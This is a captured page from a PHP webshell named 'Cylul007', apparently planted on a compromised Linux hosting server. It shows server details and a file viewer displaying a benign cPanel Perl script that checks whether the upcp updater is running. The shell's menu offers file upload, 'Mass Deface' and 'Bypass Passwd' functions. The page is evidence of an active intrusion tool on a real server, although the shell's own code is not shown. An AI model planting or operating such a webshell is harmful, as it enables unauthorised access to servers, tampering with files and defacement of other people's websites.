Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 16:53:42
Current Directory :
/
scripts
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : //scripts/upcp-running
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/upcp-running Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; use Cpanel::Unix::PID::Tiny (); use Cpanel::Usage (); my $invert_exit; my $logfile; my $pid; my $quiet; Cpanel::Usage::wrap_options( \@ARGV, \&print_usage_and_exit, { 'invert-exit' => \$invert_exit, 'logfile' => \$logfile, 'pid' => \$pid, 'quiet' => \$quiet, }, ); $invert_exit = $invert_exit ? 1 : 0; $quiet = $quiet ? 1 : 0; my $found_process; my $pid_matched; my $is_newest_logfile; my $pidfile = '/var/run/upcp.pid'; my $upid = Cpanel::Unix::PID::Tiny->new(); my $curpid = $upid->get_pid_from_pidfile($pidfile); if ($curpid) { if ( $upid->is_pid_running($curpid) ) { $found_process = 1; if ( $curpid eq $pid ) { $pid_matched = 1; } } } if ( $logfile && opendir my $dh, '/var/cpanel/updatelogs' ) { while ( my $entry = readdir $dh ) { next if $entry !~ m/^update\.\d+\.log$/; if ( $entry gt $logfile ) { undef $is_newest_logfile; last; } $is_newest_logfile = 1; } closedir $dh; } my $upcp_running = 0; if ( $pid && $logfile ) { if ( $pid_matched && $is_newest_logfile ) { $upcp_running = 1; } } elsif ($pid) { if ($pid_matched) { $upcp_running = 1; } } elsif ($logfile) { if ($is_newest_logfile) { $upcp_running = 1; } } elsif ($found_process) { $upcp_running = 1; } if ( !$quiet ) { if ($upcp_running) { print "upcp is running.\n"; } else { print "upcp is not running.\n"; } } exit( !$upcp_running ^ $invert_exit ); sub print_usage_and_exit { my ($error) = @_; my %options = ( 'help' => 'Brief help message', 'invert-exit' => 'Exit with an error value if upcp is running', ## internal usage parameters #'logfile' => 'Log file that target upcp is writing/wrote to', #'pid' => 'PID of the target upcp', ); if ( defined $error ) { print $error, "\n\n"; } print "Usage: $0 "; print "[options]\n\n"; print " Options:\n"; while ( my ( $opt, $desc ) = each %options ) { print " --$opt"; my $space = 12 - length $opt; ( 0 < $space ) ? print ' ' x $space : print ' '; print "$desc\n"; } exit 1 if defined $error; exit; }
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18